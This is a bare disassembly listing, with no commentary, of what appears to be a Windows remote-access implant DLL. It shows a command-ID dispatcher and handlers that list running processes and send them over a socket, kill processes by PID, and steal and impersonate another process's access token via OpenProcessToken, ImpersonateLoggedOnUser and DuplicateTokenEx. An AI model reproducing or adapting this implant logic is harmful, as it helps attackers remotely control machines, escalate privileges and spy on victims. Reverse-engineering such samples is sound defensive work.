jne 0x180014754
lea edx, [rax + 5]
mov rcx, rsi
mov r8d, edx
call rdi
jmp 0x180014776
mov r9d, 1
mov r8d, 0x2bf20
mov edx, ebp
mov rcx, rax
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], ebx
call fcn.180014494
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbx, qword [0x1800403f0]
mov rdi, rcx
mov ecx, dword [rcx]
mov esi, edx
call qword [sym.imp.WS2_32.dll_ntohl]
mov ebp, eax
jmp 0x1800147d6
cmp dword [rbx + 4], 1
jne 0x1800147d2
cmp ebp, dword [rbx]
jne 0x1800147d2
lea r8d, [rsi - 4]
lea rdx, [rdi + 4]
mov rcx, rbx
call fcn.18001501c
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x1800147b8
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov edi, r8d
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.180014284
lea rcx, [rsp + 0x30]
call fcn.18001432c
movzx ecx, ax
movzx ebx, ax
call fcn.180014a30
test eax, eax
jne 0x18001486e
movzx ebx, bx
lea r8d, [rax + 0xa]
mov ecx, edi
mov edx, ebx
call fcn.18001495c
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180014862
call fcn.180014a60
mov r9d, 2
xor r8d, r8d
mov dword [rsp + 0x28], r9d
mov edx, eax
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.180014494
jmp 0x18001486e
mov edx, ebx
mov ecx, socket
call fcn.18000dbd8
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
push rbx
sub rsp, 0x40
mov rbx, qword [0x1800403f0]
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180014284
lea rcx, [rsp + 0x20]
call fcn.18001432c
xor edx, edx
movzx ecx, ax
jmp 0x1800148d2
cmp dword [rbx + 4], edx
je 0x1800148ce
cmp dword [rbx + 0x10], 2
jne 0x1800148bd
movzx eax, cx
cmp dword [rbx + 0x14], eax
je 0x1800148cb
cmp dword [rbx + 0x10], 3
jne 0x1800148ce
movzx eax, cx
cmp dword [rbx + 0x14], eax
jne 0x1800148ce
mov dword [rbx + 4], edx
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x1800148aa
add rsp, 0x40
pop rbx
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x30]
call fcn.180014284
lea rcx, [rsp + 0x30]
call fcn.18001432c
mov r8d, 0xa
xor ecx, ecx
movzx ebx, ax
mov edx, ebx
call fcn.18001495c
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180014945
call fcn.180014a60
mov r9d, 3
xor r8d, r8d
mov rcx, rdi
mov edx, eax
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], ebx
call fcn.180014494
jmp 0x180014951
mov edx, ebx
mov ecx, socket
call fcn.18000dbd8
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
sub rsp, 0x48
cmp qword [0x180040408], 0
je 0x18001516d
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180014284
lea rcx, [rsp + 0x20]
call fcn.18001432c
mov rdx, qword [0x180040408]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x18001515b
movzx ecx, ax
call fcn.18001a538
add rsp, 0x48
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [0x180040408]
movsxd rbx, edx
test rcx, rcx
je 0x180015195
call fcn.18001a79c
lea eax, [rbx + 1]
movsxd rcx, eax
call fcn.18001a7dc
mov r8, rbx
mov rdx, rdi
mov rcx, rax
mov qword [0x180040408], rax
call fcn.18001ae80
mov rax, qword [0x180040408]
mov byte [rbx + rax], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
sub rsp, 0x48
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180014284
lea rcx, [rsp + 0x20]
call fcn.180014294
mov dword [0x180040414], eax
test eax, eax
je 0x180015609
mov ecx, eax
call fcn.180015638
test eax, eax
jne 0x180015609
mov edx, dword [0x180040414]
lea ecx, [rax + 0xf]
call fcn.18000dbd8
add rsp, 0x48
ret
sub rsp, 0x28
mov eax, r8d
mov r10, rdx
cmp ecx, 0x36
ja 0x1800166e2
je 0x1800166d4
cmp ecx, 0x1c
ja 0x180016521
je 0x180016518
cmp ecx, 0xe
ja 0x180016433
je 0x18001641e
dec ecx
je 0x180016407
sub ecx, 2
je 0x1800163f7
dec ecx
je 0x1800163e9
dec ecx
je 0x1800163db
sub ecx, 4
je 0x1800163c7
dec ecx
je 0x1800163b2
dec ecx
je 0x18001639d
dec ecx
je 0x18001638f
dec ecx
jne 0x1800169c6
lea r8d, [rcx + 1]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180018f58
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000e9e0
lea r8, [fcn.18000ce4c]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001014c
lea r8, [0x18002d880]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f024
mov r8d, 1
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp fcn.180011130
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000e830
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000ed8c
lea rcx, [fcn.18000ce4c]
add rsp, 0x28
jmp fcn.18000e86c
mov r9d, 1
mov r8d, r9d
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp fcn.180011034
lea r8, [fcn.18000ce4c]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014590
sub ecx, 0xf
je 0x18001650a
dec ecx
je 0x1800164fc
dec ecx
je 0x1800164e7
dec ecx
je 0x1800164cc
dec ecx
je 0x1800164be
sub ecx, 3
je 0x1800164a9
dec ecx
je 0x180016494
dec ecx
je 0x18001647f
cmp ecx, 3
jne 0x1800169c6
lea r8, [fcn.18000ce4c]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800199cc
lea r8, [fcn.18000ce4c]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180013090
lea r8, [fcn.18000ce4c]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180013248
lea r8, [fcn.18000ce4c]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800130f0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010338
mov r8d, 1
lea r9, [fcn.18000ce4c]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180011290
lea r8, [fcn.18000ce4c]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014700
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180014554
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001478c
add rsp, 0x28
jmp fcn.180019b44
cmp ecx, 0x2b
ja 0x18001660b
je 0x180016603
sub ecx, 0x1f
je 0x1800165ee
dec ecx
je 0x1800165d9
dec ecx
je 0x1800165cb
sub ecx, 4
je 0x1800165bd
dec ecx
je 0x1800165a8
dec ecx
je 0x180016598
dec ecx
je 0x180016584
dec ecx
je 0x180016574
dec ecx
jne 0x1800169c6
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800128dc
lea rcx, [fcn.18000ce4c]
add rsp, 0x28
jmp 0x180012a7c
xor r9d, r9d
xor r8d, r8d
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001292c
lea rcx, [fcn.18000ce4c]
add rsp, 0x28
jmp 0x18000eae8
lea r8, [fcn.18000ce4c]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000eb38
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180015174
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180016a5c
lea r8, [fcn.18000ce4c]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180016ae0
lea r8, [fcn.18000ce4c]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180019b90
xor r8d, r8d
jmp 0x1800163cd
sub ecx, 0x2c
je 0x1800166c6
dec ecx
je 0x1800166ab
dec ecx
je 0x1800166a6
dec ecx
je 0x180016698
sub ecx, 2
je 0x180016683
dec ecx
je 0x180016672
dec ecx
je 0x180016664
dec ecx
je 0x180016656
dec ecx
jne 0x1800169c6
lea r8, [fcn.18000ce4c]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800106e8
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000eddc
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001487c
xor r8d, r8d
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800147f0
lea r8, [fcn.18000ce4c]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180019a60
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000eabc
xor r9d, r9d
jmp 0x1800166b1
mov r9d, 1
lea r8, [fcn.18000ce4c]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001121c
mov r9d, 1
xor r8d, r8d
jmp 0x180016410
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010960
cmp ecx, 0x4f
ja 0x18001688f
je 0x180016881
cmp ecx, 0x45
ja 0x1800167c5
je 0x1800167bd
sub ecx, 0x37
je 0x1800167a8
dec ecx
je 0x18001679a
dec ecx
je 0x18001678c
sub ecx, 2
je 0x18001677e
dec ecx
je 0x180016770
dec ecx
je 0x180016760
dec ecx
je 0x180016754
sub ecx, 5
je 0x180016748
dec ecx
jne 0x1800169c6
lea r8, [fcn.18000ce4c]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001355c
lea r8, [0x18002d884]
jmp 0x1800163b9
xor r9d, r9d
lea r8d, [r9 + 1]
jmp 0x18001658a
lea rcx, [fcn.18000ce4c]
add rsp, 0x28
jmp 0x18000f334
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f3e8
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001a460
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000eec8
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800105f4
lea r8, [fcn.18000ce4c]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010654
xor r8d, r8d
jmp 0x180016381
sub ecx, 0x46
je 0x18001686a
dec ecx
je 0x18001685f
dec ecx
je 0x180016851
dec ecx
je 0x180016843
dec ecx
je 0x180016835
dec ecx
je 0x180016827
dec ecx
je 0x180016819
dec ecx
je 0x180016804
dec ecx
jne 0x1800169c6
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000e884
lea r8, [fcn.18000ce4c]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000f484
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000ec70
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800155c8
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800109a0
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180010528
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000ed84
mov r9d, 1
xor r8d, r8d
jmp 0x180016873
mov r9d, 1
mov r8d, r9d
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18001130c
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x180015128
cmp ecx, 0x5b
ja 0x180016944
je 0x18001693c
sub ecx, 0x52
je 0x18001692e
dec ecx
je 0x180016920
dec ecx
je 0x180016912
dec ecx
je 0x180016902
dec ecx
je 0x1800168ed
dec ecx
je 0x1800168e4
dec ecx
je 0x1800168df
dec ecx
je 0x1800168d3
dec ecx
jne 0x1800169c6
xor r9d, r9d
jmp 0x1800166cc
xor r9d, r9d
lea r8d, [r9 + 1]
jmp 0x180016410
xor r9d, r9d
jmp 0x180016865
xor r9d, r9d
lea r8d, [r9 + 1]
jmp 0x180016873
lea r8, [fcn.18000ce4c]
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800139d4
lea rcx, [fcn.18000ce4c]
add rsp, 0x28
jmp 0x18000c87c
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000c900
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000c784
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800148e0
xor r8d, r8d
jmp 0x1800164d2
sub ecx, 0x5c
je 0x1800169bc
dec ecx
je 0x1800169a8
dec ecx
je 0x1800169a3
sub ecx, 4
je 0x18001698f
dec ecx
je 0x18001698a
dec ecx
je 0x18001697c
dec ecx
je 0x180016971
dec ecx
jne 0x1800169c6
mov r8d, 0x100007f
jmp 0x180016675
mov r9d, 1
jmp 0x180016587
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x18000d0b0
xor r8d, r8d
jmp 0x180016995
mov r8d, 1
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800116f8
xor r8d, r8d
jmp 0x1800169ae
mov r8d, 1
mov edx, eax
mov rcx, r10
add rsp, 0x28
jmp 0x1800115a4
mov edx, eax
mov rcx, r10
call fcn.1800154e0
add rsp, 0x28
ret
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0x40
and qword [r11 - 0x28], 0
xor eax, eax
mov r8d, edx
mov rdx, rcx
lea rcx, [r11 - 0x28]
mov qword [r11 - 0x20], rax
mov qword [r11 - 0x18], rax
call fcn.180014284
lea rcx, [rsp + 0x20]
call fcn.180014294
xor edx, edx
lea ecx, [rdx + 1]
mov r8d, eax
mov edi, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x180016ab7
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x180016acc
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, edi
mov ecx, 0x23
mov r8d, eax
call fcn.18000dbe4
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x8b8]
sub rsp, 0x9a0
mov rdi, rcx
mov r15, r8
mov ebx, edx
lea rcx, [rbp + 0xa1]
xor edx, edx
mov r8d, 0x7ff
mov byte [rbp + 0xa0], 0
call fcn.18001aa90
lea rcx, [rsp + 0x58]
mov r8d, ebx
mov rdx, rdi
call fcn.180014284
lea rcx, [rsp + 0x58]
call fcn.180014294
lea rcx, [rsp + 0x40]
mov edx, 0x8000
mov esi, eax
call fcn.18000cfa8
test esi, esi
jle 0x180016b60
lea rcx, [rsp + 0x40]
mov edx, esi
call fcn.18000cfd8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.18000f72c
test eax, eax
je 0x180016b7b
lea rdi, [0x18002d888]
jmp 0x180016b94
call fcn.18000f774
lea rcx, [0x18002d888]
lea rdi, [0x18002d88c]
test eax, eax
cmovne rdi, rcx
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180016d0c
lea rdx, [rsp + 0x70]
mov rcx, rax
mov dword [rsp + 0x70], 0x130
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x180016bd2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180016d0c
call fcn.180013f98
mov r8d, dword [rsp + 0x78]
neg eax
sbb ecx, ecx
xor edx, edx
and ecx, 0xc00
add ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
test rax, rax
jne 0x180016c22
mov ecx, dword [rsp + 0x78]
mov r9d, dword [rbp - 0x70]
lea r8, [rbp - 0x64]
mov dword [rsp + 0x20], ecx
lea rdx, str._s_t_d_t_d_n
lea rcx, [rsp + 0x40]
call fcn.18000d00c
jmp 0x180016cb7
lea rdx, [rbp + 0xa0]
mov r8d, 0x800
mov rcx, rax
call fcn.180016d78
lea rdx, [rbp + 0x8d8]
neg eax
sbb cl, cl
and byte [rbp + 0xa0], cl
mov ecx, dword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
mov ecx, dword [rbp + 0x8d8]
or edx, 0xffffffff
test eax, eax
cmove ecx, edx
mov dword [rbp + 0x8d8], ecx
mov rcx, r14
call fcn.18000f72c
mov r9d, dword [rbp - 0x70]
lea rcx, [0x18002d88c]
test eax, eax
mov eax, dword [rbp + 0x8d8]
lea r8, [rbp - 0x64]
mov dword [rsp + 0x38], eax
lea rax, [rbp + 0xa0]
cmove rcx, rdi
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x78]
mov qword [rsp + 0x28], rcx
lea rdx, str._s_t_d_t_d_t_s_t_s_t_d_n
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x20], eax
call fcn.18000d00c
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x70]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x180016bd2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x40]
call fcn.18000d008
lea rcx, [rsp + 0x40]
mov ebx, eax
call fcn.18000d078
mov edx, ebx
mov r8d, send
mov rcx, rax
test esi, esi
je 0x180016d09
mov r8d, reloc.WS2_32.dll_shutdown
call r15
lea rcx, [rsp + 0x40]
call fcn.18000cf84
lea r11, [rsp + 0x9a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rdi, qword [0x180043760]
mov r14d, r8d
movsxd rsi, edx
mov rbp, rcx
mov r15d, 0x100
test rdi, rdi
je 0x180018f97
mov rbx, qword [0x180043768]
test rbx, rbx
jne 0x180018fd2
mov ecx, 0x200
call fcn.18001416c
mov edx, r15d
mov rcx, rax
mov rbx, rax
call fcn.1800142c8
mov edx, r15d
mov rcx, rbx
mov qword [0x180043760], rax
call fcn.1800142c8
mov rdi, qword [0x180043760]
mov rbx, rax
mov qword [0x180043768], rax
test esi, esi
je 0x18001900a
cmp esi, r15d
jg 0x18001900a
xor edx, edx
mov r8, r15
test r14d, r14d
je 0x180018ffd
mov rcx, rdi
call fcn.18001aa90
mov rcx, rdi
mov rdx, rbp
mov r8, rsi
call fcn.18001ae80
jmp 0x180019024
mov rcx, rbx
call fcn.18001aa90
mov rcx, rbx
jmp 0x180018ff0
mov r8, r15
xor edx, edx
mov rcx, rdi
call fcn.18001aa90
mov r8, r15
xor edx, edx
mov rcx, rbx
call fcn.18001aa90
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
push rbx
sub rsp, 0x20
mov rbx, r8
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r8d, r8d
lea edx, [r8 + 8]
lea r9, [rsp + 0x48]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x180019a11
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x48]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x180019a2b
mov rcx, qword [rsp + 0x48]
mov rdx, rbx
call fcn.180019f5c
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180019a5a
cmp qword [0x180044440], 0
je 0x180019a50
call fcn.180019efc
mov rcx, qword [0x180044440]
mov rdx, rbx
call fcn.180019f5c
call fcn.180019f2c
jmp 0x180019a5a
mov ecx, 1
call fcn.18000dca4
add rsp, 0x20
pop rbx
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
mov ecx, 0xc00
mov r12, r8
mov ebx, edx
call fcn.18001416c
mov r13d, 0x400
mov rcx, rax
mov edx, r13d
mov r14, rax
call fcn.1800142c8
mov edx, r13d
mov rcx, r14
mov r15, rax
call fcn.1800142c8
mov edx, r13d
mov rcx, r14
mov rsi, rax
call fcn.1800142c8
lea rcx, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov rbp, rax
call fcn.180014284
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, r15
call fcn.180014364
test eax, eax
je 0x180019b26
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, rsi
call fcn.180014364
test eax, eax
je 0x180019b26
lea rcx, [rsp + 0x20]
mov r8d, r13d
mov rdx, rbp
call fcn.180014364
test eax, eax
je 0x180019b26
mov r9, r12
mov r8, rbp
mov rdx, rsi
mov rcx, r15
call fcn.180019d90
mov rcx, r14
call fcn.180014260
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
cmp edx, 4
jne 0x180019d07
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x230
mov ecx, dword [rcx]
and qword [rax + 0x20], 0
mov rsi, r8
call sub.WS2_32.dll_ntohl
xor edx, edx
mov ecx, 0x400
mov r8d, eax
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x180019bed
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rdi + 0x21]
mov r8d, eax
mov edx, ebx
call fcn.18000dbe4
jmp 0x180019cf3
lea r8, [rsp + 0x258]
mov edx, 0xf01ff
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x180019c14
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x24
jmp 0x180019bde
call fcn.180019b44
mov rcx, qword [rsp + 0x258]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x180019c38
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x25
jmp 0x180019bde
mov rcx, qword [rsp + 0x258]
lea rax, [0x180044440]
mov r9d, 3
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov edx, 0x2000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x180019c7c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x26
jmp 0x180019bde
mov rcx, qword [0x180044440]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
test eax, eax
jne 0x180019c9d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x27
jmp 0x180019bde
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x258]
test rcx, rcx
je 0x180019cb9
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x180044440]
lea rdx, [rsp + 0x30]
mov r8d, 0x200
call fcn.180019fd8
test eax, eax
je 0x180019cf3
lea rax, [rsp + 0x30]
or rdx, 0xffffffffffffffff
inc rdx
cmp byte [rax + rdx], 0
jne 0x180019cdd
lea rcx, [rsp + 0x30]
mov r8d, reloc.WS2_32.dll_ntohs
call rsi
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.180014284
lea rcx, [rsp + 0x20]
call fcn.18001432c
lea rcx, [rsp + 0x20]
movzx edi, ax
call fcn.1800141e8
lea rcx, [rsp + 0x20]
mov rbx, rax
call fcn.18000d008
mov rdx, rbx
mov r8d, eax
movzx ecx, di
call fcn.18001a538
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
push rbx
sub rsp, 0x20
mov rbx, rcx
mov ecx, 7
call fcn.18001f0ec
nop
xor edx, edx
mov rcx, rbx
call fcn.180029eec
mov ebx, eax
mov ecx, 7
call fcn.18001f2d4
mov eax, ebx
add rsp, 0x20
pop rbx
ret